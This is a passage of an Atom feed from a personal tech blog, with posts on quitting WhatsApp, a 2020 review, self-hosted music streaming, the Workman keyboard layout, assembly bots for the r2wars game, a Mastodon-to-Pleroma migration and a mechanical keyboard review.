is more &ldquo;tech for tech people&rdquo; than &ldquo;tech for the average user&rdquo;.</p>

<p>And then there&rsquo;s the issue of actually getting people to use an
alternate messaging app. I know that 99% percent of the people I talk to
on WhatsApp don&rsquo;t care about the new privacy policy. I also know that
they&rsquo;re <em>not</em> going to switch for just one guy (me). Further, the
network effects are enormous. Assuming they did switch, they&rsquo;d then
have to convince all <em>their</em> contacts to do so as well&mdash;which isn&rsquo;t
happening.</p>

<p>Which brings me to the second option: ditching IM completely. This
option is starting to sound a lot better than having to talk to people
about why Facebook is bad, and why privacy matters and why they should
quit WhatsApp&mdash;for what will be the hundredth time. I don&rsquo;t see any
immediate downsides to it. Sure, I&rsquo;ll miss out on some socializing but
who am I kidding, it&rsquo;s all mostly smalltalk anyway.</p>

<p>Perhaps that&rsquo;s what I&rsquo;ll end up doing&mdash;use WhatsApp until it works,
and uninstall it after. Matters of immediate attention can be conveyed
over a phone call. Otherwise, an SMS/email should do.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://signal.org/blog/the-ecosystem-is-moving/" rel="nofollow">https://signal.org/blog/the-ecosystem-is-moving/</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>2020 in review</title>
|
||
<updated>2020-12-24T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-12-24:blog/2020-in-review</id>
|
||
<link href="https://icyphox.sh/blog/2020-in-review"></link>
|
||
<summary type="html"><h2>Oh boy, here we go</h2>
<p>It&rsquo;s been a little over 9 months since the day I left my university
dorms (got kicked out, rather), in light of <span class="lol">the
pandemic</span>. I have my finals going on right now, and 5 days to go
for the next examination&mdash;a great time to reflect on what I managed to
do this year. So here I am, sitting at my little home office-thing, with
a bad cold&mdash;as is tradition during December&mdash;writing this post.
Let&rsquo;s get to it!</p>

<h2 id="interning-at-cometchat">interning at CometChat</h2>

<p>I spent a good part of this year interning at
<a href="https://www.cometchat.com" rel="nofollow">CometChat</a>, mostly working as an
infrastructure engineer. I dabbled with some pretty neat tech&mdash;here&rsquo;s
a quick list of things I worked on:</p>

<ul>
<li>XMPP over WebSockets (RFC 7395). Also wrote
<a href="https://git.icyphox.sh/wsabi" rel="nofollow">wsabi</a>&mdash;a WebSocket proxy in Nim.
Never got used, but cool nonetheless.</li>
<li>On-premise (bare metal) deployment of our stack using Docker Swarm.</li>
<li>Google Kubernetes Engine (GKE) deployment of our stack.</li>
</ul>

<p>I think there&rsquo;s value in adding that I experienced a paradigm shift in
my view of tools like Kubernetes. I still think they&rsquo;re bloated and
abstraction heavy, but they exist to solve a problem&mdash;and they do it
somewhat okay. In an ideal world, nobody would fall for the &ldquo;cloud&rdquo;
meme, and wouldn&rsquo;t toss everything into a container<sup class="footnote-ref" id="fnref:docker-meme"><a href="#fn:docker-meme">1</a></sup>&mdash;but
our world is far from that.</p>

<h2 id="things-i-made">things I made</h2>

<ul>
<li><a href="https://git.icyphox.sh/shlide" rel="nofollow">shlide</a>: A slide deck presentation
tool written in pure bash. Born from a conversation I had with a
friend&mdash;quickly hacked it together over a weekend. Even used it
for a talk I presented!</li>
<li><a href="https://git.icyphox.sh/vite" rel="nofollow">vite</a>: Go rewrite of the static site
generator I wrote in Python, way back in 2018. It was a misnomer,
since it was far from <em>vite</em>.</li>
</ul>

<h2 id="other-hackery">other hackery</h2>

<p>Self-hosted a <em>bunch</em> of services on my Pi. The only downtime is when my
ISP goes down, which is thankfully not <em>that</em> often. Here&rsquo;s a list of
things running on my Pi right now:</p>

<ul>
<li><a href="https://radicale.org" rel="nofollow">radicale</a>: Cal/CardDAV server</li>
<li><a href="https://pleroma.social" rel="nofollow">Pleroma</a>: Single-user federated social media
instance</li>
<li><a href="https://cdn.icyphox.sh" rel="nofollow">filehost</a></li>
<li><a href="https://github.com/sentriz/gonic" rel="nofollow">gonic</a>: Music streaming server</li>
<li><a href="http://deavmi.assigned.network/docs/crxn/site/" rel="nofollow">crxn</a>: Cool network
of cool people.</li>
<li>Few other things that <a href="https://peppe.rs" rel="nofollow">Nerdy</a> uses.</li>
</ul>

<p>My OpenBSD install is still going strong! Started at 6.6, now on
6.8-current. This is most definitely my endgame OS&mdash;everything just
works, and works very well.</p>

<p>I played <a href="/blog/r2wars-2020">r2wars this year</a>, which was hella fun. A
good exercise in assembly programming. I even placed 3rd, so that was
awesome.</p>

<h2 id="this-blog">this blog</h2>

<p>Evidently, this site has undergone quite a few visual changes. It&rsquo;s no
longer that all-black with white text, with occasional bits of cyan. My
overall aesthetic has considerably mellowed down&mdash;prioritizing good
typography over colors.</p>

<pre><code class="language-console">$ cat pages/blog/*.md | grep 'date: 2020-' | wc -l
 26
</code></pre>

<p>26 posts this year (including this)! That&rsquo;s 8 more than the 18 I wrote
last year&mdash;roughly 1 post every two weeks. Pretty good variety too&mdash;some technical, some less so&hellip;and some controversial. Heh.</p>

<h2 id="onward-and-upward">onward and upward</h2>

<p>Contrary to popular opinion, 2020 wasn&rsquo;t all that bad&mdash;obviously, I
only speak for myself. That said, I&rsquo;m looking forward to 2021 for a
number of reasons: for one, I&rsquo;ll be done with college (finally!), and
starting a full-time job at a company I find really exciting!</p>

<p>I have a few blog post ideas that I didn&rsquo;t get around to writing this
year, so expect to see a few of those. The new job will involve a lot of
infra-related work&mdash;I&rsquo;m certain my incredibly sought after insights on
those things will find their way here, as well.</p>

<p>Anyway, I&rsquo;m going to enjoy the rest of this year playing Runeterra and
Halo MCC. On to greater things in 2021, and I&rsquo;ll see you next year!</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:docker-meme"><a href="https://i.imgur.com/3eTKEZp.jpg" rel="nofollow">https://i.imgur.com/3eTKEZp.jpg</a> <a class="footnote-return" href="#fnref:docker-meme"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>My music streaming setup</title>
|
||
<updated>2020-12-13T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-12-13:blog/music-streaming</id>
|
||
<link href="https://icyphox.sh/blog/music-streaming"></link>
|
||
<summary type="html"><h2>Think Spotify, but self-hosted and not as good</h2>
<p>Having a self-hosted, centralized music streaming setup has been on my
todo list for the longest time. I&rsquo;d initially tried using NFS, but
mounting it on my phone was very inconvenient. Incidentally, a few days
ago, the existence of Subsonic/*sonic became known to me.</p>

<h2 id="gonic">gonic</h2>

<p>I found <a href="https://github.com/sentriz/gonic" rel="nofollow">gonic</a> to be the simplest of
them all, and proceeded to set it up on the RPi. There are other
alternatives too, like <a href="https://www.navidrome.org" rel="nofollow">Navidrome</a>, which
ships with a web player, or <a href="https://airsonic.github.io/" rel="nofollow">Airsonic</a>.
gonic stood out the most to me because it&rsquo;s effectively headless,
barring a simple web interface for configuration.</p>

<p>Setting it up was trivial. I did run into an
<a href="https://github.com/sentriz/gonic/issues/89" rel="nofollow">issue</a>&mdash;I noticed that
only songs that were already in folders, sorted by album, were being
picked up in the scan.</p>

<pre><code>|-- Void Of Vision - Hyperdaze (2019)
| |-- 01. Overture.mp3
| |-- 02. Year of the Rat.mp3
| |-- 03. Babylon.mp3
| |-- 04. If Only.mp3
| |-- 05. Slave to the Name.mp3
| |-- 06. Adrenaline.mp3
| |-- 07. Hole In Me.mp3
| |-- 08. Kerosene Dream.mp3
| |-- 09. Decay.mp3
| |-- 10. Splinter.mp3
| |-- 11. Hyperdaze.mp3
|-- Volumes - Disaster Vehicle.mp3
|-- Volumes - Finite.mp3
|-- Volumes - Heavy Silence.mp3
|-- Volumes - Hope.mp3
|-- Volumes - Interlude.mp3
...

</code></pre>

<p>So, in a directory tree like above, only the tracks inside &ldquo;Void Of
Vision - Hyperdaze (2019)&rdquo; would get picked up, and all the &ldquo;Volumes&rdquo;
songs wouldn&rsquo;t&mdash;since it wasn&rsquo;t in a subfolder of its own.</p>

<p>As a workaround&mdash;and a necessary cleanup of my music&mdash;I figured I&rsquo;d
give <a href="https://beets.io" rel="nofollow">beets</a> a shot.</p>

<h2 id="beets">beets</h2>

<p>beets is extensively documented, so I&rsquo;ll skip the basics. In essence,
it&rsquo;s a music organization tool&mdash;fetches tags, sorts your collection,
etc. Most of my music has been tagged already, so I skipped that. I only
it all to be grouped by album. A bit of digging in the docs, and I found
what I wanted: <code>--group-albums</code>.</p>

<p>And in my <code>config.yaml</code>, I specified my desired path format like so:</p>

<pre><code class="language-yaml">...
paths:
 default: $albumartist - $album%aunique{}/$track $title
</code></pre>

<p>Finally, running:</p>

<pre><code>$ beet import --noautotag --move --group-albums path/to/dirty/music

$ tree ~/music
...

104 directories, 1108 files
</code></pre>

<p>Nice! gonic then happily scanned all my music.</p>

<h2 id="actually-streaming-this-music">actually streaming this music</h2>

<p>On my laptop, I decided to just use the NFS share approach&mdash;primarily because
I&rsquo;d like to stick to <code>cmus</code> and desktop Subsonic clients like <a href="https://gitlab.com/sublime-music/sublime-music" rel="nofollow">Sublime
Music</a> are very clunky.</p>

<p>On Android, there are quite a few options on F-Droid&mdash;I decided to go with
<a href="https://github.com/ultrasonic/ultrasonic" rel="nofollow">Ultrasonic</a> since it&rsquo;s the only one
that supports Last.fm scrobbling.</p>

<p>All things considered, I think I&rsquo;m pretty satisfied with this. &lsquo;twas a good weekend.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The Workman keyboard layout</title>
|
||
<updated>2020-10-24T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-10-24:blog/workman</id>
|
||
<link href="https://icyphox.sh/blog/workman"></link>
|
||
<summary type="html"><h2>I have a lot of free time on my hands (heh)</h2>
<p>I&rsquo;ve been at my computer everyday, for at least 10 hours at minimum.
These past ~6 - 7 months have been the most I&rsquo;ve ever used my computer.
Eventually, I started experiencing discomfort and pain&mdash;especially in
my pinkie finger. Typing became a chore, and I found myself using my
shell&rsquo;s command history more just to avoid typing commands. I tried
using a wrist rest, different keyboard heights, but nothing helped.</p>

<p>Thus began my search for a new keyboard layout, and it swiftly concluded
once I chanced upon the <a href="https://workmanlayout.org" rel="nofollow">Workman layout</a>.
According to the website, it is supposedly an improvement over Colemak
and Dvorak. I skimmed through the numbers and other stats, but
I honestly didn&rsquo;t care. &ldquo;Oh it&rsquo;s better than the popular alternative
layouts? Okay that&rsquo;s enough for me.&rdquo;</p>

<p><img src="https://raw.githubusercontent.com/kdeloach/workman/gh-pages/images/workman_layout.png" alt="workman layout" /></p>

<p>I downloaded the tarball containing the different config files for
different platforms etc. I just needed the <code>xmodmap</code>&mdash;that&rsquo;s the
easiest way to apply a keyboard layout.</p>

<pre><code class="language-console">$ xmodmap xmodmap.workman
</code></pre>

<p>To practice the layout, I used <a href="https://keybr.com" rel="nofollow">keybr.com</a>. You can
configure the keyboard layout via the settings. Naturally, the first few
days were incredibly painful. I was only able to type short sentences
with very small words. I tried to not engage in heated discussions on
IRC, for I could not type up a response in time. However, if I did
stumble into one, I would switch back to QWERTY just for those couple of
messages.</p>

<p>I found myself making the switch less and less, over the next few days.
Chatting on IRC is a <em>great</em> way to learn a layout. Or chatting
anywhere, really. It forces you to get accustomed to the layout by
typing the common words used in conversation. I also made a tiny change
to the layout&mdash;swapping the <kbd>F</kbd> and <kbd>B</kbd> keys, since
typing the &ldquo;fo&rdquo; / &ldquo;of&rdquo; digram in the same hand felt really weird. Soon
enough, I was averaging about 30 - 40 WPM within the first week of
having switched to Workman.</p>

<p>And then things at work started to pick up, and I had to do what I had
been dreading the most: edit code&mdash;in Vim. It&rsquo;s fairly common
knowledge that Vim, by default, extensively uses the <kbd>H</kbd>,
<kbd>J</kbd>, <kbd>K</kbd> and <kbd>L</kbd> keys for navigation. Sure,
there are better ways to move around and only using those keys is
frowned upon&mdash;but it&rsquo;s a habit built over years, and hard to shake
off. After poking around for a bit, I found the
<a href="https://github.com/nicwest/vim-workman" rel="nofollow">vim-workman</a> plugin. Forked it
to apply the <kbd>F</kbd>/<kbd>B</kbd> change, and I began using it.</p>

<p>It was great at first. My Vim muscle memory was not hampered, as I was
able to use QWERTY in normal mode, and Workman in insert. But as I got
better at Workman, I found myself instinctively reaching for the Workman
keys in normal mode. Well, everything except for the <kbd>H</kbd>,
<kbd>J</kbd>, <kbd>K</kbd> and <kbd>L</kbd> keys. This quickly became
bothersome and I uninstalled the plugin to search for a better solution.</p>

<p>Wait, don&rsquo;t I have a sick new <a href="/blog/ducky-one-2">programmable mechanical
keyboard</a>? What if I configure a layer on it just for the
<kbd>H</kbd>, <kbd>J</kbd>, <kbd>K</kbd>, <kbd>L</kbd> keys? After pouring
through the manual for a bit, I eventually got it set up. I even remapped
the <kbd>Caps Lock</kbd> key to <kbd>Fn</kbd> so it&rsquo;s easier to access the
layer. So now, hitting <kbd>Caps
Lock</kbd>+<kbd>Y</kbd>/<kbd>N</kbd>/<kbd>E</kbd>/<kbd>O</kbd> results in
<kbd>HJKL</kbd> being pressed. This took a little bit of getting used to,
but it got easier with a bit of practice.</p>

<p>Since I don&rsquo;t rely on any plugin/remappings, I can use Vim as is on
remote machines too. Another bonus from this adventure was I actually
spent time learning better ways to navigate, and reduce my reliance on
<kbd>HJKL</kbd>. Overall, a big win.</p>

<p>It&rsquo;s been over 4 weeks since my switch, I think, and I&rsquo;m comfortably
averaging around 80 WPM. Still a good 20 WPM slower than QWERTY, but
I think it&rsquo;ll get better with time. And am I still able to use QWERTY?
Well, kinda. I still use QWERTY on my phone keyboard, since Workman
isn&rsquo;t an option on it and it&rsquo;s actually alright. However, when I use my
desktop to play Dota, I prefer using voice chat to communicate since
typing on QWERTY takes too long&mdash;I am forced to hunt and peck.
Interestingly, after about 15 - 20 minutes on QWERTY, my brain kinda
just clicks back and I can type on it with relative ease. Not as fast as
I used to be, but it&rsquo;s manageable.</p>

<p>All things considered, switching to Workman was one of the better
decisions I have made in life. It feels so nice to be able to type out
whole words in just the home row. It just <em>flows</em> so nicely, and it has
made typing so much more enjoyable again.</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>My submissions for r2wars 2020</title>
|
||
<updated>2020-09-13T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-09-13:blog/r2wars-2020</id>
|
||
<link href="https://icyphox.sh/blog/r2wars-2020"></link>
|
||
<summary type="html"><h2>If I learnt one thing, it's that ARM is the future</h2>
<p><a href="https://github.com/radareorg/r2wars" rel="nofollow">r2wars</a> is
a <a href="http://corewars.org" rel="nofollow">CoreWar</a>-like game thar runs within the radare2
<a href="https://radare.gitbooks.io/radare2book/content/disassembling/esil.html" rel="nofollow">ESIL</a>
virtual machine. In short, you have two programs running in a shared
memory space (1kb), with the goal of killing the other and surviving as
long as possible. r2wars was conducted as a part of
<a href="https://rada.re/con/2020" rel="nofollow">r2con2020</a>.</p>

<h2 id="day-1">day 1</h2>

<p>My first submission was an incredibly simple &ldquo;bomber&rdquo;. All it does is
write code to a location, jump there, and continue executing the same
thing over and over.</p>

<pre><code class="language-asm">mov eax, 0xfeebfeeb; just some bad jumps
mov ebx, eax
mov ecx, eax
mov edx, eax
mov ebp, eax
mov edi, eax
mov esp, 0x3fc
mov esi, 0x3fd
mov [esi], 0xe6ff60
jmp esi
</code></pre>

<p>Specifically, it writes <code>0xe6ff60</code>, which is</p>

<pre><code class="language-asm">pushal
jmp esi
</code></pre>

<p>effectively looping over and over. <code>pushal</code> is a very interesting x86
instruction, that pushes all the registers and decrements the stack
pointer <code>esp</code> by how many ever bytes were pushed. Nifty, especially if
you&rsquo;re looking for high throughput (to bomb the address space). Here, it
starts bombing from <code>0x3fc</code> - <code>0x000</code> (and below, because there&rsquo;s no
bounds checking in place), and ends up killing itself, since writing
outside of the arena (<code>0x000</code> - <code>0x400</code>) is illegal.</p>

<p>Ultimately, this bot placed 7th out of 9 contestants&mdash;an underwhelming
outcome. I had to fix this.</p>

<p><img src="https://cdn.icyphox.sh/gk1i0.png" alt="day 1" /></p>

<h2 id="day-2">day 2</h2>

<p>I sat for a second and recollected the different reasons for my bot
getting killed, and the one that occurred the most was my bot
insta-dying to bad instructions being written from <code>0x400</code>&mdash;i.e. from
near where I&rsquo;m positioned. Nearly all competing bots write from bottom
up, because <code>pushal</code> <em>decrements</em> the stack pointer. So the obvious
solution was to reposition my initial payload way above, at <code>0x000</code>. And
of course, it goes without saying that this assumes everyone&rsquo;s using
<code>pushal</code> (they are).</p>

<pre><code class="language-asm">mov eax, 0xffffffff
mov ecx, eax
mov edx, eax
mov ebx, eax
mov ebp, eax
mov esi, eax

check:
 mov edi, 0x000
 cmp [edi], 0
 jne planb
 mov esp, 0x400
 inc edi
 mov [edi], 0xe7ff6060; pushal, jmp edi
 jmp edi

planb:
 mov edi, 0x3fb
 mov [edi], 0xe7ff6060
 mov esp, 0x3fa
 jmp edi
</code></pre>

<p>I also added a (pretty redundant) check to see if the stuff at <code>edi</code> was
0, since the entire arena is initially <code>0x0</code>. My reasoning, albeit
flawed, was that if it wasn&rsquo;t 0, then it was unsafe to go there. In
hindsight, it would&rsquo;ve been <em>safer</em>, since it&rsquo;s already been written
over by somebody. In any case, <code>planb</code> never got executed because of
what I&rsquo;d mentioned earlier&mdash;<em>everyone</em> writes from <code>0x400</code>. Or
anywhere above <code>0x000</code>, for that matter. So I&rsquo;m relatively safer than
I was in day 1.</p>

<p>These changes paid off, though. I placed 4th on day 2, out of 13
contestants! This screenshot was taken on my phone as I was eating
dinner.</p>

<p><img src="https://cdn.icyphox.sh/5ZJfT.png" alt="day 2" /></p>

<p>All wasn&rsquo;t well though&mdash;I still lost 4 matches, for the reasons below:</p>

<ol>
<li>I&rsquo;d get snuffed out before my bomb wave from <code>0x400</code> would reach
the opponent.</li>
<li>I&rsquo;d end up bombing myself without hitting anyone on the way up.</li>
</ol>

<h2 id="day-3">day 3</h2>

<p>I needed to add some checks to prevent killing myself in the process of
bombing.</p>

<pre><code class="language-asm">mov eax, 0xffffffff
mov ecx, eax
mov edx, eax
mov ebx, eax
mov ebp, eax
mov esi, eax

mov edi, 0x000
mov esp, 0x400
mov [edi], 0x20fc8360
mov [edi+4], 0xff600374
mov [edi+8], 0x0400bce7
mov [edi+12], 0xe7ff0000
jmp edi
</code></pre>

<p>If you noticed, the initial payload I&rsquo;m writing to the address at <code>edi</code>
is a bit more complex this time&mdash;let&rsquo;s break it down.</p>

<pre><code>0x20fc8360
0xff600374
0x0400bce7
0xe7ff0000
</code></pre>

<p>This translates to:</p>

<pre><code class="language-asm">60 pushal 
83 FC 20 cmp esp, 0x20
74 03 je 9
60 pushal 
FF E7 jmp edi
BC 04 00 00 00 mov esp, 0x400; &lt;- 0x9
FF E7 jmp edi
</code></pre>

<p>I check if the stack pointer is <code>0x20</code> (decrements from <code>0x400</code> due to
<code>pushal</code>); if yes, reset to <code>0x400</code>, else continue looping. This
prevented me from writing myself over, and also resets bombing from
<code>0x400</code>&mdash;better chance of hitting someone we missed in our first wave.</p>

<p>Sounds good? That&rsquo;s what I thought too. Day 3 had a bunch of new bot
submissions (and some updated submissions), and a lot of them checked
<code>0x000</code> for existence of a bot, effectively recking me. I placed 8th out
of 14 contestants, with 7 wins and 6 losses. Tough day.</p>

<p><img src="https://cdn.icyphox.sh/IKqxD.png" alt="day 3" /></p>

<h2 id="day-4-the-finals">day 4: the finals</h2>

<p>I spent a lot of time refactoring my bot. I tried all kinds of things,
even reworked it to be entirely mobile using the <code>pushal</code> + <code>jmp esp</code>
trick, but I just wasn&rsquo;t satisfied. In the end, I decided to address the
problem in the simplest way possible. You&rsquo;re checking <code>0x000</code>? Okay,
I&rsquo;ll reposition my initial payload to <code>0xd</code>.</p>

<p>And this surprisingly tiny change landed me in 4th place out of 15
contestants, which was <em>way</em> better than I&rsquo;d anticipated! The top spots
were all claimed by ARM, and naturally so&mdash;they had a potential
throughput of 64 bytes per cycle thanks to <code>stmia</code>, compared to x86&rsquo;s 32
bytes. Pretty neat!</p>

<p><img src="https://cdn.icyphox.sh/DJbEE.png" alt="day 4" /></p>

<h2 id="links-and-references">links and references</h2>

<ul>
<li><a href="https://anisse.astier.eu/r2wars-2019.html" rel="nofollow">Anisse&rsquo;s r2wars 2019 post</a></li>
<li><a href="https://www.tildeho.me/r2wars/" rel="nofollow">Emile&rsquo;s intro to r2wars</a></li>
<li><a href="https://bananamafia.dev/post/r2wars-2019/" rel="nofollow">How not to suck at r2wars</a></li>
<li><a href="https://ackcent.com/r2wars-shall-we-play-a-game/" rel="nofollow">r2wars: Shall we play a game?</a></li>
<li><a href="http://shell-storm.org/online/Online-Assembler-and-Disassembler" rel="nofollow">Shell Storm&rsquo;s online (dis)assembler</a></li>
<li><a href="https://github.com/radareorg/radare2" rel="nofollow">radare2</a></li>
<li><a href="https://github.com/radareorg/r2wars" rel="nofollow">r2wars game engine</a></li>
<li><a href="https://github.com/anisse/r2warsbots" rel="nofollow">Anisse&rsquo;s bot workspace</a></li>
<li><a href="https://github.com/icyphox/r2wars-bots" rel="nofollow">My bot dev workspace</a></li>
<li><a href="https://www.youtube.com/channel/UCZo6gyBPj6Vgg8u2dfIhY4Q" rel="nofollow">r2con YouTube</a></li>
</ul>

<h2 id="closing-thoughts">closing thoughts</h2>

<p>This was my first ever r2wars, and it was an incredible experience. Who
woulda thunk staring at colored boxes on the screen would be so much
fun?! So much so that my parents walked over to see what all the fuss
was about. Shoutout to <a href="https://twitter.com/sanguinawer" rel="nofollow">Abel</a>
and <a href="https://twitter.com/trufae" rel="nofollow">pancake</a> for taking the time out to
work on this, and <em>especially</em> Abel for dealing with all the last minute
updates and bot submissions!</p>

<p>All things said, mine was still the best x86 bot&mdash;so that&rsquo;s a win. ;)</p>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Migrating from Mastodon to Pleroma</title>
|
||
<updated>2020-09-04T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-09-04:blog/mastodon-to-pleroma</id>
|
||
<link href="https://icyphox.sh/blog/mastodon-to-pleroma"></link>
|
||
<summary type="html"><h2>Mastodon bad. Pleroma good.</h2>
<p>If you&rsquo;ve been following me on the fediverse, you would&rsquo;ve witnessed my
numerous (failed) attempts at migrating from Mastodon to Pleroma,
running on my Raspberry Pi. I finally got it working, and these are the
steps I took. It&rsquo;s sort of a loose guide you could follow, but I can&rsquo;t
promise it&rsquo;ll work for you.</p>

<p>The Erlang and Elixir packages are pretty broken and outdated on
Raspbian. So this time, I built them from source.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup><sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> I also assume
you have Mastodon and Pleroma (source, not OTP) installed&mdash;probably at
<code>/home/mastodon/live</code> and <code>/opt/pleroma</code>, respectively.</p>

<p>Once you have Erlang and Elixir compiled and sitting in your <code>PATH</code>,
pull <a href="https://gitlab.com/soapbox-pub/migrator" rel="nofollow">soapbox-pub/migrator</a>.
Now read the readme and the <code>do_migration.sh</code> script to get an idea of
what you&rsquo;re getting into.</p>

<p>Move into the cloned directory and create a <code>.env</code>:</p>

<pre><code class="language-shell">MASTODON_PATH=/home/mastodon/live
PLEROMA_PATH=/opt/pleroma
</code></pre>

<p>Then, run:</p>

<pre><code class="language-console">$ yarn # install deps
$ cp -r mastodon/* /home/mastodon/live
$ cp -r pleroma/* /opt/pleroma
$ RAILS_ENV=production yarn masto export
</code></pre>

<p>If you run into any permissions issues, <code>chown</code> and proceed. This should
export all your Mastodon activity into <code>/home/mastodon/live/migrator</code>.
Now, copy the <code>migrator</code> directory into your Pleroma installation path.</p>

<pre><code class="language-console">$ cp -r migrator /opt/pleroma
</code></pre>

<p>You can then import all of it into Pleroma (possibly prefixed with <code>sudo
-Hu pleroma</code>):</p>

<pre><code class="language-console">$ MIX_ENV=prod mix migrator.import
</code></pre>

<p>If all went well, you would&rsquo;ve successfully migrated from Mastodon to
Pleroma. If not, well feel free to send me an email (or @ me on the fedi).
I suppose you could also reach <a href="https://alexgleason.me" rel="nofollow">Alex</a>&mdash;he&rsquo;s
the incredibly based guy who wrote the migrator,
<a href="https://soapbox.pub" rel="nofollow">soapbox-fe</a> and does some Elixir magic he keeps
<a href="https://gleasonator.com/@alex" rel="nofollow">posting about</a>.</p>

<p>Rest assured, the migrator has a 100% success rate&mdash;Alex and I are
apparently the only two who have it working. <sup>2</sup>&frasl;<sub>2</sub>.</p>

<h2 id="why-should-you-migrate">why should you migrate?</h2>

<p>Because Pleroma is cleaner, leaner<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup> and prettier looking<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup>. Oh, and we
have chats.
<img src="https://cdn.icyphox.sh/l8g5y.png" alt="screenshot of pleroma + soapbox-fe" /></p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="http://erlang.org/doc/installation_guide/INSTALL.html" rel="nofollow">Erlang install guide</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:2"><a href="https://elixir-lang.org/install.html#compiling-from-source-unix-and-mingw" rel="nofollow">Elixir install guide</a> <a class="footnote-return" href="#fnref:2"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:3"><p>Mastodon used about ~2.5 GB out of the 4 I have on my Pi. With
 Pleroma, the total used RAM is only about ~700 MB. That&rsquo;s crazy!</p> <a class="footnote-return" href="#fnref:3"><span aria-label='Return'>↩︎</span></a></li>

<li id="fn:4">&hellip;with Soapbox. :^) <a class="footnote-return" href="#fnref:4"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>The Ducky One 2 SF</title>
|
||
<updated>2020-08-22T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-08-22:blog/ducky-one-2</id>
|
||
<link href="https://icyphox.sh/blog/ducky-one-2"></link>
|
||
<summary type="html"><h2>I fell for the mechanical keyboard meme</h2>
<p>Thanks to the pandemic yada yada I&rsquo;ve been working from home (and
attending college from home), and I figured my WFH setup could use an
upgrade. Unfortunately, the choices for mechanical keyboards in India are
fairly limited. All imports from China don&rsquo;t get through, and imports
from elsewhere have a <em>fat</em> duty slapped on it&mdash;sometimes up to
300%<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup>. It&rsquo;s obscene!</p>

<p>The only reliable source I&rsquo;ve found (and folks on
<a href="https://reddit.com/r/mkindia" rel="nofollow">r/mkindia</a> will concur), is
<a href="https://meckeys.com" rel="nofollow">Meckeys</a>. They aren&rsquo;t particularly abundant in
variety, but there&rsquo;s some decent prebuilts that you can pick up on
there&mdash;and I copped the Ducky One 2 SF.</p>

<p><img src="https://cdn.icyphox.sh/5LSG7.jpg" alt="Ducky One 2 SF side view" /></p>

<p>It&rsquo;s a 65% board, so unlike standard 60% boards, this comes with arrow
keys and the <code>Del</code>, <code>PgUp</code> and <code>PgDn</code> keys. I don&rsquo;t <em>really</em> need the
arrow keys, but they do come handy on the occasion&mdash;like scrolling,
for example. Since this board lacks the function row, the <code>Esc</code> and the
<code>~</code> keys are merged. I have to hit <code>Shift + Esc</code> for tilde (same action
as usual), and <code>Fn + Esc</code> for the backtick. Takes a bit of relearning,
but it&rsquo;s manageable.</p>

<p><img src="https://cdn.icyphox.sh/tRdNw.jpg" alt="Ducky One 2 SF top-down view" /></p>

<p>The key switches I went with were the Cherry MX Speed Silvers&mdash;like
Reds but actuate a bit faster. As it&rsquo;s my first ever mechanical
keyboard, I don&rsquo;t really have anything to compare it against. It feels
<em>great</em>, but it was pretty jarring initially because even the slightest
touch (with the palm for instance), would cause a key to actuate, leading
to typos. Again, just a matter of getting accustomed to it; all smooth
sailing after. Why did I pick the Speed Silvers? The other switch
options were out of stock.</p>

<p>That said, I think I really quite like linear switches. They&rsquo;re not
<em>too</em> noisy, and they feel just right. I haven&rsquo;t noticed any great
improvement in my typing speeds though&mdash;I still maintain an average of
90&ndash;100 WPM.</p>

<p>The One 2 SF is fully RGB, i.e. each key is individually lit. Not that
I make big use it. I have it set to plain white, and only light up under
the key I&rsquo;m currently pressing. Yes, this also makes it incredibly easy
for people to shoulder-peek your passwords. I certainly won&rsquo;t be using
it outside home.</p>

<p>The keyboard itself cost 9599 INR, which is about 128 USD. Meckeys
took exactly 10 days to ship it (3rd Aug - 13th Aug). Overall, it&rsquo;s
a lovely keyboard, and I <em>cannot</em> type on my laptop&rsquo;s low-travel
chiclet-style keyboard, again. There&rsquo;s just no going back.</p>

<div class="footnotes">

<hr />

<ol>
<li id="fn:1"><a href="https://www.reddit.com/r/mkindia/comments/hzyoof/i_see_many_spreading_misinformation_about_import/" rel="nofollow">Reddit link</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li>
</ol>

</div>
</summary>
|
||
</entry>
|
||
<entry>
|
||
<title>Some thoughts on Twitter</title>
|
||
<updated>2020-08-03T00:00:00Z</updated>
|
||
<id>tag:icyphox.sh/,2020-08-03:blog/twitter</id>
|
||
<link href="https://icyphox.sh/blog/twitter"></link>
|
||
<summary type="html"><h2>I've begun avoiding Twitter, here's why</h2>
<p>This post has been a long time coming. Earlier this year, I decided to
not actively participate on Twitter, and stick to the fediverse
primarily. This has been quite possibly the best decision I&rsquo;ve made,
with regard to curating my social / informational feeds&mdash;apart from
<a href="/blog/dont-news">not reading news</a>. I&rsquo;ll try to gloss over some reasons
as to why I dislike Twitter as a platform, in this post. Bear in mind,
these are based on my experiences and YMMV.</p>

<h2 id="filter-bubbles-and-radicalization">filter bubbles and radicalization</h2>

<p>I think this can be said about any social network, but the way that
Twitter is designed only further enables this phenomenon. The more you
interact / show interest in a specific topic, the more you see of the
same&mdash;in terms of suggested accounts to follow, notifications/email telling
